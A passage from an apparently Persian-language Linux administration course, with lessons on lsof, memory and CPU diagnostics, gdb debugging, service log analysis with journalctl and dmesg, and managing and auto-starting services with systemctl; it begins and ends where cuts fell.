  • برای مدیریت Zombieها باید والد را شناسایی کرده و آن را خاتمه داد.
  • برای مدیریت Orphanها اگر لازم باشد، می‌توان فرآیند را به‌صورت دستی خاتمه داد.
  • استفاده از wait(), SIGCHLD, nohup, و setsid می‌تواند از ایجاد این فرآیندها جلوگیری کند.

مدیریت درست فرآیندهای Zombie و Orphan می‌تواند باعث بهبود عملکرد سیستم و جلوگیری از مشکلات احتمالی شود.[/cdb_course_lesson][cdb_course_lesson title=”فصل 4. ابزارهای تحلیل و عیب‌یابی فرآیندها”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”استفاده از ابزار lsof برای شناسایی فایل‌های باز شده توسط فرآیندها” subtitle=”توضیحات کامل”]ابزار lsof (List Open Files) یکی از قدرتمندترین ابزارهای لینوکس برای مشاهده فایل‌هایی است که در حال حاضر توسط فرآیندهای مختلف باز شده‌اند. این ابزار اطلاعات مهمی درباره فایل‌های باز، سوکت‌های شبکه، کتابخانه‌های بارگذاری‌شده و حتی ارتباطات شبکه‌ای ارائه می‌دهد.


نمایش تمام فایل‌های باز در سیستم

برای مشاهده لیست تمام فایل‌های باز در سیستم، کافی است دستور زیر را اجرا کنید:

lsof

این دستور اطلاعاتی مانند شناسه فرآیند (PID)، نام کاربری، نام فایل، و مسیر فایل را نمایش می‌دهد.


نمایش فایل‌های باز شده توسط یک کاربر خاص

برای مشاهده فایل‌هایی که توسط یک کاربر خاص باز شده‌اند، از گزینه -u استفاده می‌شود:

lsof -u username

به جای username، نام کاربری موردنظر را وارد کنید.


نمایش فایل‌های باز شده توسط یک فرآیند خاص

اگر بخواهید بررسی کنید که یک فرآیند خاص چه فایل‌هایی را باز کرده است، می‌توانید از شناسه فرآیند (PID) استفاده کنید:

lsof -p <PID>

به جای <PID>، شناسه فرآیند موردنظر را وارد کنید.

برای مثال، اگر PID مربوط به یک سرویس مانند nginx برابر با 1234 باشد:

lsof -p 1234

نمایش فرآیندهایی که یک فایل خاص را باز کرده‌اند

برای مشاهده این‌که کدام فرآیندها در حال استفاده از یک فایل خاص هستند، می‌توان از مسیر فایل در lsof استفاده کرد:

lsof /var/log/syslog

نمایش فایل‌های باز روی یک پورت خاص

اگر بخواهید بررسی کنید که چه فرآیندهایی روی یک پورت خاص گوش می‌دهند، می‌توانید از این دستور استفاده کنید:

lsof -i :80

این دستور تمام فرآیندهایی که روی پورت 80 (پورت HTTP) فعال هستند را نمایش می‌دهد.


نمایش تمام ارتباطات شبکه‌ای باز

برای مشاهده تمام ارتباطات شبکه‌ای باز روی سیستم:

lsof -i

برای فیلتر کردن ارتباطات TCP یا UDP:

lsof -i tcp
lsof -i udp

نمایش تمام فایل‌های باز شده در یک دایرکتوری خاص

برای مشاهده تمام فایل‌های باز در یک مسیر خاص مانند /home/user/:

lsof +D /home/user/

بستن فایل‌های باز شده توسط یک فرآیند خاص

اگر لازم باشد که یک فرآیند خاص را که در حال استفاده از یک فایل است متوقف کنید، ابتدا PID آن را پیدا کنید و سپس از kill استفاده کنید:

kill -9 <PID>

جمع‌بندی

  • lsof ابزاری کاربردی برای مشاهده تمام فایل‌های باز در سیستم است.
  • می‌توان فایل‌های باز شده توسط یک کاربر خاص، یک فرآیند خاص، یا فایل‌های مرتبط با یک مسیر مشخص را بررسی کرد.
  • این ابزار به‌ویژه در بررسی مشکلات قفل‌شدن فایل‌ها، اشغال‌شدن پورت‌های شبکه و عیب‌یابی فرآیندهای سیستمی بسیار مفید است.
  • در صورت نیاز، می‌توان از kill برای متوقف کردن فرآیندهایی که باعث مشکل شده‌اند استفاده کرد.

[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”بررسی و تحلیل اشکالات مربوط به حافظه و منابع” subtitle=”توضیحات کامل”]مدیریت صحیح حافظه و منابع در لینوکس برای بهینه‌سازی عملکرد سیستم و جلوگیری از بروز مشکلاتی مانند کمبود حافظه (OOM)، مصرف بیش‌ازحد CPU و نشت حافظه ضروری است. ابزارهای مختلفی برای مانیتورینگ و تحلیل مشکلات حافظه و منابع وجود دارند که در ادامه معرفی و بررسی می‌شوند.


بررسی میزان مصرف حافظه

استفاده از free برای مشاهده میزان حافظه آزاد و استفاده‌شده

دستور free اطلاعاتی درباره وضعیت حافظه فیزیکی (RAM) و فضای swap ارائه می‌دهد:

free -h

خروجی این دستور میزان حافظه کلی (total)، استفاده‌شده (used) و آزاد (free) را نشان می‌دهد.

استفاده از vmstat برای مشاهده وضعیت حافظه و پردازنده
vmstat 1 5

این دستور اطلاعاتی درباره استفاده از حافظه، پردازنده، ورودی/خروجی و پردازش‌های در حال اجرا را هر ۱ ثانیه، به مدت ۵ بار نمایش می‌دهد.


بررسی فرآیندهایی که بیشترین حافظه را مصرف می‌کنند

استفاده از ps
ps aux --sort=-%mem | head -10

این دستور ۱۰ فرآیندی که بیشترین میزان حافظه را مصرف می‌کنند نمایش می‌دهد.

استفاده از top یا htop

برای مشاهده زنده‌ی مصرف منابع توسط فرآیندها:

top

یا در صورتی که htop نصب باشد، با رابط گرافیکی بهتری:

htop

در این ابزارها می‌توان فرآیندها را بر اساس میزان مصرف CPU یا حافظه مرتب کرد.


شناسایی و مدیریت فرآیندهای نشت حافظه

استفاده از pmap برای بررسی حافظه اشغال‌شده توسط یک فرآیند خاص
pmap -x <PID>

به جای <PID> شناسه فرآیند موردنظر را قرار دهید. این دستور نشان می‌دهد که یک فرآیند چقدر حافظه از بخش‌های مختلف (heap، stack، shared و …) استفاده کرده است.

استفاده از valgrind برای شناسایی نشت حافظه در برنامه‌ها

اگر قصد بررسی نشت حافظه در یک برنامه خاص را دارید، می‌توانید valgrind را به صورت زیر اجرا کنید:

valgrind --leak-check=full ./program

شناسایی فرآیندهای مصرف‌کننده زیاد CPU

استفاده از pidstat برای مانیتورینگ میزان مصرف CPU هر فرآیند
pidstat 1 5

این دستور میزان مصرف CPU را هر ۱ ثانیه، به مدت ۵ بار نمایش می‌دهد.

استفاده از mpstat برای بررسی وضعیت کلی پردازنده
mpstat -P ALL 1

این دستور میزان استفاده از هر هسته پردازنده را نمایش می‌دهد.


شناسایی مشکلات مربوط به حافظه Swap

بررسی میزان استفاده از Swap
swapon --summary

یا:

free -h
غیرفعال کردن حافظه Swap (در صورت نیاز)
swapoff -a

و فعال‌سازی مجدد آن:

swapon -a

بررسی فرآیندهایی که بیشترین ورودی/خروجی (I/O) را دارند

استفاده از iotop
iotop

این ابزار فرآیندهایی که بیشترین عملیات خواندن/نوشتن دیسک را دارند نمایش می‌دهد.

استفاده از iostat
iostat -xz 1 5

این دستور آمار I/O دیسک را هر ۱ ثانیه، به مدت ۵ بار نمایش می‌دهد.


مدیریت کمبود حافظه با oom-killer

بررسی لاگ‌های OOM-Killer برای شناسایی فرآیندهای کشته‌شده به دلیل کمبود حافظه
dmesg | grep -i oom
تنظیم اولویت OOM-Killer برای یک فرآیند خاص

اگر نمی‌خواهید یک فرآیند خاص توسط OOM-Killer کشته شود، مقدار oom_score_adj را کاهش دهید:

echo -1000 > /proc/<PID>/oom_score_adj

به جای <PID> شناسه فرآیند موردنظر را قرار دهید.


جمع‌بندی

  • برای بررسی مصرف حافظه از free و vmstat استفاده کنید.
  • برای شناسایی فرآیندهای مصرف‌کننده حافظه و CPU از ps, top, htop و pidstat استفاده کنید.
  • برای تحلیل نشت حافظه در برنامه‌ها، از valgrind استفاده کنید.
  • برای بررسی فرآیندهایی که بیشترین I/O را دارند، از iotop و iostat کمک بگیرید.
  • برای مدیریت کمبود حافظه و OOM-Killer، لاگ‌های dmesg را بررسی کنید.

[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”عیب‌یابی با استفاده از gdb برای دیباگ فرآیندها” subtitle=”توضیحات کامل”]gdb (GNU Debugger) یکی از ابزارهای قدرتمند در لینوکس برای دیباگ کردن برنامه‌های نوشته‌شده به زبان‌هایی مانند C و C++ است. این ابزار به شما اجازه می‌دهد که اجرای یک برنامه را متوقف کنید، مقادیر متغیرها را مشاهده کنید، بک‌تریس بگیرید و اشکالات منطقی و کرش‌های احتمالی را بررسی کنید.


نصب gdb

اگر gdb روی سیستم شما نصب نیست، می‌توانید آن را با استفاده از دستورات زیر نصب کنید:

در Debian/Ubuntu
sudo apt update && sudo apt install gdb -y
در RHEL/CentOS
sudo yum install gdb -y
در Arch Linux
sudo pacman -S gdb

اجرای برنامه تحت gdb

اجرای یک برنامه با gdb

اگر برنامه شما کامپایل‌شده و قابل اجرا است، می‌توانید آن را به‌صورت زیر تحت gdb اجرا کنید:

gdb ./program

سپس برای شروع اجرای برنامه در محیط gdb از دستور زیر استفاده کنید:

run
متوقف کردن اجرای برنامه و نمایش وضعیت متغیرها

اگر می‌خواهید اجرای برنامه را متوقف کنید، می‌توانید Ctrl + C را فشار دهید. سپس با استفاده از دستور زیر مقدار متغیر خاصی را مشاهده کنید:

print variable_name

دیباگ کردن یک فرآیند در حال اجرا

پیدا کردن PID فرآیند

ابتدا باید PID فرآیندی که می‌خواهید دیباگ کنید را پیدا کنید. برای این کار می‌توانید از ps یا pidof استفاده کنید:

ps aux | grep program_name

یا

pidof program_name
اتصال gdb به فرآیند

زمانی که PID را به دست آوردید، می‌توانید با دستور زیر به فرآیند متصل شوید:

sudo gdb -p <PID>

پس از اتصال، می‌توانید اجرای فرآیند را متوقف کرده و وضعیت متغیرها را بررسی کنید.


گرفتن backtrace برای بررسی کرش‌های برنامه

اگر برنامه کرش کرده است، می‌توانید backtrace آن را برای بررسی علت کرش مشاهده کنید:

bt

برای نمایش دقیق‌تر اطلاعات:

bt full

تنظیم نقاط شکست (breakpoints)

اضافه کردن breakpoint در یک تابع
break function_name
اضافه کردن breakpoint در یک خط مشخص از کد
break filename.c:line_number
مشاهده لیست breakpoint ها
info breakpoints
ادامه اجرای برنامه پس از توقف
continue

مشاهده مقادیر متغیرها

مشاهده مقدار یک متغیر خاص
print variable_name
مشاهده مقدار یک متغیر در قالب هگزادسیمال
print/x variable_name
نمایش مقدار آرایه‌ها و ساختارهای داده‌ای
print array_name[index]

تغییر مقدار متغیرها در هنگام اجرای برنامه

set variable_name = new_value

خروج از gdb

quit

جمع‌بندی

  • gdb ابزاری قدرتمند برای اشکال‌زدایی برنامه‌ها و فرآیندهای در حال اجرا است.
  • برای اجرای برنامه با gdb، می‌توانید از gdb ./program استفاده کنید.
  • برای اتصال به یک فرآیند در حال اجرا، از sudo gdb -p <PID> استفاده کنید.
  • با bt می‌توان backtrace کرش‌ها را مشاهده کرد.
  • breakpoints کمک می‌کنند که اجرای برنامه را در نقاط خاصی متوقف کرده و متغیرها را بررسی کنید.
  • امکان تغییر مقادیر متغیرها در زمان اجرا وجود دارد.

این ابزار به شما کمک می‌کند که مشکلات مربوط به اجرای برنامه‌ها را به‌راحتی پیدا و برطرف کنید.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”بررسی مصرف حافظه و CPU توسط فرآیندها” subtitle=”توضیحات کامل”]یکی از مهم‌ترین وظایف مدیران سیستم و توسعه‌دهندگان، مانیتورینگ و تحلیل مصرف منابع مانند حافظه و CPU توسط فرآیندهای در حال اجرا است. ابزارهای مختلفی در لینوکس برای این منظور وجود دارند که در ادامه به بررسی آن‌ها می‌پردازیم.


استفاده از top برای مشاهده فرآیندهای در حال اجرا

دستور top اطلاعات جامعی درباره فرآیندهای فعال، میزان مصرف CPU و حافظه هر فرآیند و وضعیت کلی سیستم ارائه می‌دهد. برای اجرای این دستور کافی است آن را در ترمینال وارد کنید:

top
گزینه‌های کلیدی در top
  • M: مرتب‌سازی بر اساس میزان مصرف حافظه
  • P: مرتب‌سازی بر اساس میزان مصرف CPU
  • k: خاتمه دادن به یک فرآیند با وارد کردن PID
  • q: خروج از top

استفاده از htop برای مانیتورینگ تعاملی

htop ابزاری پیشرفته‌تر از top است که یک رابط رنگی و قابل تعامل دارد. برای نصب htop از دستورات زیر استفاده کنید:

در Debian/Ubuntu
sudo apt update && sudo apt install htop -y
در RHEL/CentOS
sudo yum install epel-release -y
sudo yum install htop -y
اجرای htop
htop
قابلیت‌های کلیدی htop
  • نمایش میزان مصرف CPU و حافظه برای هر فرآیند
  • امکان پایان دادن به فرآیندها به‌صورت تعاملی
  • فیلتر کردن فرآیندها بر اساس نام

بررسی مصرف CPU و حافظه با ps

ps لیستی از فرآیندهای در حال اجرا را نمایش می‌دهد. برای نمایش فرآیندهایی که بیشترین استفاده از CPU و RAM را دارند، می‌توان از دستورات زیر استفاده کرد:

نمایش فرآیندهایی که بیشترین استفاده از CPU را دارند
ps -eo pid,ppid,cmd,%mem,%cpu --sort=-%cpu | head -10
نمایش فرآیندهایی که بیشترین استفاده از حافظه را دارند
ps -eo pid,ppid,cmd,%mem,%cpu --sort=-%mem | head -10

بررسی میزان مصرف حافظه توسط free

برای مشاهده میزان حافظه کل، استفاده‌شده و آزاد، می‌توان از free استفاده کرد:

free -h

گزینه -h مقدار حافظه را در قالب خوانا (human-readable) نمایش می‌دهد.


بررسی مصرف حافظه فرآیندها با pmap

pmap جزئیات حافظه تخصیص‌یافته به یک فرآیند خاص را نمایش می‌دهد. برای این کار ابتدا PID فرآیند موردنظر را با ps یا top پیدا کنید و سپس دستور زیر را اجرا کنید:

pmap -x <PID>

استفاده از vmstat برای مانیتورینگ منابع

vmstat اطلاعاتی درباره مصرف CPU، حافظه و فرآیندها ارائه می‌دهد. اجرای ساده این دستور:

vmstat 2 5

این دستور هر ۲ ثانیه یک بار به مدت ۵ بار اطلاعات مربوط به منابع سیستم را نمایش می‌دهد.


بررسی مصرف منابع با pidstat

pidstat عملکرد هر فرآیند را به‌طور دقیق نمایش می‌دهد. برای بررسی میزان مصرف CPU و حافظه توسط هر فرآیند می‌توان از دستورات زیر استفاده کرد:

نمایش میزان مصرف CPU توسط فرآیندها
pidstat -u 2 5
نمایش میزان مصرف حافظه توسط فرآیندها
pidstat -r 2 5

بررسی مصرف منابع توسط systemd-cgtop

اگر سیستم از systemd و cgroups پشتیبانی کند، می‌توان از systemd-cgtop برای مشاهده میزان مصرف CPU و حافظه توسط گروه‌های مختلف سرویس‌ها استفاده کرد:

systemd-cgtop

جمع‌بندی

  • ابزار top و htop برای مشاهده فرآیندهای فعال و میزان مصرف منابع کاربرد دارند.
  • با استفاده از ps می‌توان فرآیندهایی که بیشترین مصرف CPU و حافظه را دارند، پیدا کرد.
  • free و pmap اطلاعات مفیدی درباره میزان مصرف حافظه ارائه می‌دهند.
  • vmstat و pidstat برای بررسی مصرف منابع در طول زمان مناسب هستند.
  • systemd-cgtop میزان مصرف منابع توسط گروه‌های فرآیندی را نمایش می‌دهد.

استفاده از این ابزارها به شما کمک می‌کند که مشکلات مربوط به مصرف بیش‌ازحد منابع را به‌سرعت شناسایی و برطرف کنید.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”ابزارهای اختصاصی برای تحلیل خطاهای سرویس‌ها” subtitle=”توضیحات کامل”]برای مدیریت و تحلیل خطاهای سرویس‌ها در سیستم‌های لینوکسی، ابزارهای مختلفی وجود دارند که به مدیران سیستم کمک می‌کنند تا مشکلات را شناسایی و برطرف کنند. این ابزارها به دو دسته کلی تقسیم می‌شوند:

  • ابزارهای عمومی برای بررسی لاگ‌ها و رفتار سرویس‌ها
  • ابزارهای تخصصی برای تحلیل مشکلات عملکردی و دیباگ

بررسی لاگ‌های سرویس‌ها با journalctl

اگر سیستم از systemd استفاده می‌کند، لاگ‌های تمامی سرویس‌ها در journald ذخیره می‌شوند و می‌توان با استفاده از journalctl آن‌ها را مشاهده کرد.

نمایش لاگ‌های یک سرویس خاص
journalctl -u <service-name>

مثال برای مشاهده لاگ‌های سرویس nginx:

journalctl -u nginx
مشاهده لاگ‌های اخیر همراه با بروزرسانی زنده
journalctl -u <service-name> -f
فیلتر کردن لاگ‌های مربوط به یک بازه زمانی
journalctl -u <service-name> --since "2024-02-28 10:00:00" --until "2024-02-28 12:00:00"

بررسی خطاهای کرنل و سیستم با dmesg

برای مشاهده خطاهای سطح کرنل، از dmesg استفاده می‌شود:

dmesg | less
مشاهده خطاهای مرتبط با حافظه
dmesg | grep -i oom
مشاهده خطاهای مربوط به سخت‌افزار
dmesg | grep -i error

بررسی فایل‌های لاگ سرویس‌ها در /var/log/

بسیاری از سرویس‌ها لاگ‌های خود را در دایرکتوری /var/log/ ذخیره می‌کنند.

مشاهده لاگ‌های سرویس nginx
tail -f /var/log/nginx/error.log
مشاهده لاگ‌های Apache
tail -f /var/log/apache2/error.log

بررسی اتصالات و مشکلات شبکه‌ای سرویس‌ها

نمایش پورت‌های باز و وضعیت آن‌ها
netstat -tulnp

یا

ss -tulnp
بررسی ارتباط یک سرویس با سرور مقصد
curl -v http://example.com
بررسی ارتباط با پایگاه داده (مثلاً MySQL)
mysql -u root -p -e "SHOW PROCESSLIST;"

دیباگ فرآیندهای در حال اجرا با strace

strace ابزار مفیدی برای مشاهده فراخوانی‌های سیستمی یک برنامه است.

بررسی اجرای یک برنامه خاص
strace -p <PID>

مثال برای بررسی پردازش nginx:

strace -p $(pgrep nginx)

مشاهده فایل‌های باز شده توسط یک سرویس با lsof

بررسی فایل‌های باز شده توسط یک سرویس خاص
lsof -c <process-name>

مثال برای بررسی فایل‌های باز شده توسط nginx:

lsof -c nginx
بررسی فایل‌های باز شده روی یک پورت خاص
lsof -i :80

نظارت بر عملکرد سرویس‌ها با systemd-analyze

برای بررسی زمان بوت و عملکرد سرویس‌های systemd، می‌توان از systemd-analyze استفاده کرد.

نمایش زمان بوت شدن سیستم
systemd-analyze blame
بررسی وابستگی‌های یک سرویس
systemctl list-dependencies <service-name>

جمع‌بندی

  • journalctl برای بررسی لاگ‌های سرویس‌های systemd استفاده می‌شود.
  • dmesg برای مشاهده خطاهای کرنل و مشکلات سخت‌افزاری کاربرد دارد.
  • فایل‌های لاگ در /var/log/ اطلاعات مهمی درباره خطاهای سرویس‌ها ارائه می‌دهند.
  • netstat و ss برای بررسی وضعیت شبکه و پورت‌های سرویس‌ها مفید هستند.
  • strace برای مشاهده فراخوانی‌های سیستمی یک برنامه استفاده می‌شود.
  • lsof برای مشاهده فایل‌ها و اتصالات باز یک فرآیند کاربرد دارد.
  • systemd-analyze اطلاعاتی درباره زمان اجرای سرویس‌ها و مشکلات بوت ارائه می‌دهد.

استفاده از این ابزارها به شناسایی سریع‌تر مشکلات سرویس‌ها و بهینه‌سازی عملکرد سیستم کمک می‌کند.[/cdb_course_lesson][cdb_course_lesson title=”فصل 5. مدیریت و نظارت بر سرویس‌ها”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”راه‌اندازی سرویس‌ها با systemctl” subtitle=”توضیحات کامل”]systemctl یکی از ابزارهای کلیدی در systemd است که برای مدیریت سرویس‌ها در لینوکس استفاده می‌شود. با استفاده از این ابزار می‌توان سرویس‌ها را راه‌اندازی، متوقف، بررسی وضعیت و تنظیمات مربوط به اجرای آن‌ها را مدیریت کرد.


بررسی وضعیت یک سرویس

برای مشاهده وضعیت یک سرویس از دستور زیر استفاده می‌شود:

systemctl status <service-name>

مثال برای بررسی وضعیت سرویس nginx:

systemctl status nginx

راه‌اندازی (Start) یک سرویس

برای راه‌اندازی یک سرویس از دستور زیر استفاده می‌شود:

systemctl start <service-name>

مثال برای راه‌اندازی nginx:

systemctl start nginx

متوقف کردن (Stop) یک سرویس

برای متوقف کردن سرویس در حال اجرا، دستور زیر را اجرا کنید:

systemctl stop <service-name>

مثال برای متوقف کردن nginx:

systemctl stop nginx

راه‌اندازی مجدد (Restart) یک سرویس

اگر نیاز باشد که یک سرویس را مجدداً راه‌اندازی کنیم، از دستور زیر استفاده می‌شود:

systemctl restart <service-name>

مثال برای راه‌اندازی مجدد nginx:

systemctl restart nginx

بارگذاری مجدد (Reload) یک سرویس

در برخی سرویس‌ها، بدون نیاز به راه‌اندازی مجدد، می‌توان پیکربندی جدید را بارگذاری کرد:

systemctl reload <service-name>

مثال برای nginx:

systemctl reload nginx

فعال کردن (Enable) یک سرویس برای اجرای خودکار هنگام بوت

اگر بخواهید یک سرویس هنگام راه‌اندازی سیستم به‌صورت خودکار اجرا شود، باید آن را enable کنید:

systemctl enable <service-name>

مثال برای فعال کردن nginx:

systemctl enable nginx

غیرفعال کردن (Disable) اجرای خودکار یک سرویس هنگام بوت

برای جلوگیری از اجرای خودکار یک سرویس هنگام راه‌اندازی سیستم:

systemctl disable <service-name>

مثال برای غیرفعال کردن nginx:

systemctl disable nginx

بررسی اینکه آیا یک سرویس در حالت فعال (Enabled) یا غیرفعال (Disabled) است

systemctl is-enabled <service-name>

مثال برای بررسی وضعیت nginx:

systemctl is-enabled nginx

بررسی سرویس‌های فعال در سیستم

برای مشاهده تمامی سرویس‌های فعال می‌توان از دستور زیر استفاده کرد:

systemctl list-units --type=service --state=running

مشاهده تمامی سرویس‌های موجود (فعال و غیرفعال)

systemctl list-units --type=service

مشاهده لیست سرویس‌هایی که هنگام بوت اجرا خواهند شد

systemctl list-unit-files --type=service

غیرفعال کردن موقت یک سرویس (Mask)

برای اینکه یک سرویس حتی با start اجرا نشود، می‌توان آن را mask کرد:

systemctl mask <service-name>

مثال برای غیرفعال کردن کامل nginx:

systemctl mask nginx

بازگردانی یک سرویس mask شده

systemctl unmask <service-name>

مثال برای بازگردانی nginx:

systemctl unmask nginx

جمع‌بندی

  • systemctl start برای راه‌اندازی سرویس
  • systemctl stop برای متوقف کردن سرویس
  • systemctl restart برای راه‌اندازی مجدد سرویس
  • systemctl reload برای بارگذاری مجدد پیکربندی سرویس
  • systemctl enable برای اجرای خودکار هنگام بوت
  • systemctl disable برای غیرفعال کردن اجرای خودکار
  • systemctl status برای بررسی وضعیت سرویس
  • systemctl list-units --type=service برای مشاهده لیست سرویس‌ها
  • systemctl mask/unmask برای غیرفعال کردن کامل سرویس

با استفاده از این دستورات می‌توان مدیریت سرویس‌ها را در سیستم‌های systemd به‌صورت کامل انجام داد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”نظارت بر وضعیت سرویس‌ها با systemctl status و journalctl” subtitle=”توضیحات کامل”]یکی از بخش‌های مهم مدیریت سرویس‌ها در systemd، نظارت بر وضعیت آن‌ها و تحلیل لاگ‌های مربوط به خطاها و مشکلات احتمالی است. برای این کار، systemctl status و journalctl ابزارهای کلیدی محسوب می‌شوند.


بررسی وضعیت یک سرویس با systemctl status

برای مشاهده وضعیت یک سرویس، می‌توان از دستور systemctl status استفاده کرد:

systemctl status <service-name>

مثال برای بررسی وضعیت سرویس nginx:

systemctl status nginx

خروجی این دستور شامل اطلاعات زیر خواهد بود:

  • وضعیت کلی سرویس (فعال یا غیرفعال)
  • شناسه (PID) فرآیند
  • زمان آغاز به کار سرویس
  • پیام‌های اخیر ثبت‌شده در journalctl

مشاهده فرآیندهای مرتبط با یک سرویس

برای دیدن فرآیندهایی که توسط یک سرویس اجرا شده‌اند، می‌توان از ps به همراه systemctl استفاده کرد:

ps aux | grep <service-name>

مثال برای nginx:

ps aux | grep nginx

مشاهده لاگ‌های یک سرویس با journalctl

journalctl ابزاری برای خواندن لاگ‌های systemd است. برای مشاهده لاگ‌های مرتبط با یک سرویس خاص، می‌توان از دستور زیر استفاده کرد:

journalctl -u <service-name>

مثال برای مشاهده لاگ‌های nginx:

journalctl -u nginx

این دستور تمامی لاگ‌های مرتبط با nginx را نمایش می‌دهد.


مشاهده لاگ‌های جدید به‌صورت زنده

برای دنبال کردن لاگ‌های یک سرویس به‌صورت زنده (مشابه tail -f)، از گزینه -f استفاده می‌شود:

journalctl -u <service-name> -f

مثال برای nginx:

journalctl -u nginx -f

مشاهده لاگ‌های یک سرویس در یک بازه زمانی مشخص

می‌توان لاگ‌های یک سرویس را در یک بازه زمانی مشخص فیلتر کرد:

journalctl -u <service-name> --since "YYYY-MM-DD HH:MM:SS" --until "YYYY-MM-DD HH:MM:SS"

مثال برای مشاهده لاگ‌های nginx از ساعت ۱۰ صبح تا ۱۲ ظهر در تاریخ ۲۰۲۵-۰۳-۰۱:

journalctl -u nginx --since "2025-03-01 10:00:00" --until "2025-03-01 12:00:00"

مشاهده لاگ‌های مربوط به بوت فعلی سیستم

برای دیدن لاگ‌های تمامی سرویس‌ها از زمان آخرین بوت، می‌توان از دستور زیر استفاده کرد:

journalctl -b

مشاهده لاگ‌های کرنل

برای بررسی لاگ‌های مربوط به کرنل، دستور زیر کاربرد دارد:

journalctl -k

مشاهده لاگ‌های مربوط به خطاها

برای مشاهده فقط لاگ‌های مربوط به error (خطاها)، می‌توان از گزینه -p استفاده کرد:

journalctl -u <service-name> -p err

مثال برای مشاهده خطاهای nginx:

journalctl -u nginx -p err

مشاهده لاگ‌های مربوط به هشدارها و خطاها

journalctl -u <service-name> -p warning

مشاهده لاگ‌های مرتبط با یک کاربر خاص

اگر بخواهید لاگ‌های مرتبط با یک کاربر خاص را ببینید، از دستور زیر استفاده کنید:

journalctl _UID=<user-id>

برای مثال، اگر شناسه کاربری 1000 باشد:

journalctl _UID=1000

پاک‌سازی لاگ‌های journalctl

اگر فضای زیادی توسط لاگ‌ها اشغال شده باشد، می‌توان آن‌ها را پاک کرد:

۱. مشاهده میزان فضای اشغال‌شده توسط لاگ‌ها:

journalctl --disk-usage

۲. پاک کردن لاگ‌های قدیمی‌تر از ۷ روز:

journalctl --vacuum-time=7d

۳. محدود کردن حجم لاگ‌ها به ۱۰۰ مگابایت:

journalctl --vacuum-size=100M

جمع‌بندی

  • systemctl status برای بررسی وضعیت سرویس‌ها
  • journalctl -u <service-name> برای مشاهده لاگ‌های یک سرویس
  • journalctl -u <service-name> -f برای دنبال کردن لاگ‌ها به‌صورت زنده
  • journalctl -b برای مشاهده لاگ‌های بوت
  • journalctl -k برای لاگ‌های کرنل
  • journalctl -u <service-name> -p err برای مشاهده خطاهای سرویس
  • journalctl --vacuum-size=100M برای کاهش حجم لاگ‌ها

با این دستورات می‌توان سرویس‌ها را به‌صورت دقیق نظارت و عیب‌یابی کرد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”راه‌اندازی خودکار سرویس‌ها پس از بوت” subtitle=”توضیحات کامل”]در systemd، امکان پیکربندی سرویس‌ها به‌گونه‌ای که به‌صورت خودکار پس از بوت اجرا شوند وجود دارد. این کار با استفاده از systemctl انجام می‌شود.


فعال‌سازی یک سرویس برای اجرا در زمان بوت

برای تنظیم یک سرویس به‌گونه‌ای که پس از بوت سیستم به‌صورت خودکار اجرا شود، از دستور زیر استفاده می‌شود:

systemctl enable <service-name>

مثال برای فعال‌سازی nginx هنگام بوت:

systemctl enable nginx

این دستور یک symlink در مسیر /etc/systemd/system/multi-user.target.wants/ ایجاد می‌کند که سرویس را در زمان راه‌اندازی سیستم فعال می‌کند.


بررسی اینکه آیا یک سرویس در زمان بوت اجرا می‌شود

برای بررسی اینکه آیا یک سرویس پس از بوت به‌صورت خودکار اجرا خواهد شد یا نه، از دستور زیر استفاده می‌شود:

systemctl is-enabled <service-name>

مثال برای nginx:

systemctl is-enabled nginx

اگر خروجی enabled باشد، سرویس در زمان بوت اجرا خواهد شد. اگر disabled باشد، این سرویس به‌صورت خودکار راه‌اندازی نمی‌شود.


غیرفعال کردن راه‌اندازی خودکار یک سرویس

برای جلوگیری از اجرای خودکار یک سرویس در زمان بوت، از دستور زیر استفاده کنید:

systemctl disable <service-name>

مثال برای nginx:

systemctl disable nginx

این دستور symlink ایجادشده در /etc/systemd/system/multi-user.target.wants/ را حذف می‌کند، اما سرویس را متوقف نمی‌کند.


فعال‌سازی و راه‌اندازی هم‌زمان یک سرویس

اگر بخواهید یک سرویس را هم‌زمان فعال کرده و راه‌اندازی کنید، می‌توانید از دستور enable --now استفاده کنید:

systemctl enable --now <service-name>

مثال برای nginx:

systemctl enable --now nginx

این دستور باعث می‌شود که سرویس فعال شده و بلافاصله اجرا شود.


غیر‌فعال‌سازی و متوقف کردن هم‌زمان یک سرویس

برای غیرفعال کردن راه‌اندازی خودکار یک سرویس و متوقف کردن آن به‌طور هم‌زمان، می‌توان از دستور disable --now استفاده کرد:

systemctl disable --now <service-name>

مثال برای nginx:

systemctl disable --now nginx

این دستور سرویس را غیرفعال کرده و آن را متوقف می‌کند.


راه‌اندازی مجدد خودکار یک سرویس در صورت کرش کردن

برای اینکه یک سرویس در صورت کرش کردن دوباره اجرا شود، باید فایل unit آن را ویرایش کنید. مسیر فایل‌های unit معمولاً در /etc/systemd/system/ قرار دارد.

برای مثال، ویرایش فایل unit مربوط به nginx:

sudo nano /etc/systemd/system/nginx.service

سپس این خطوط را به [Service] اضافه کنید:

Restart=always
RestartSec=5
  • Restart=always: سرویس همیشه در صورت کرش کردن مجدداً راه‌اندازی خواهد شد.
  • RestartSec=5: پس از ۵ ثانیه سرویس مجدداً اجرا خواهد شد.

پس از اعمال تغییرات، فایل را ذخیره کرده و daemon را ری‌لود کنید:

systemctl daemon-reload
systemctl restart nginx

مشاهده تمامی سرویس‌های فعال هنگام بوت

برای دیدن لیست تمامی سرویس‌هایی که پس از بوت فعال می‌شوند، می‌توان از دستور زیر استفاده کرد:

systemctl list-unit-files --type=service | grep enabled

مشاهده وابستگی‌های یک سرویس

اگر بخواهید ببینید که یک سرویس به چه سرویس‌های دیگری وابسته است و چه سرویس‌هایی باید قبل از آن اجرا شوند، از دستور زیر استفاده کنید:

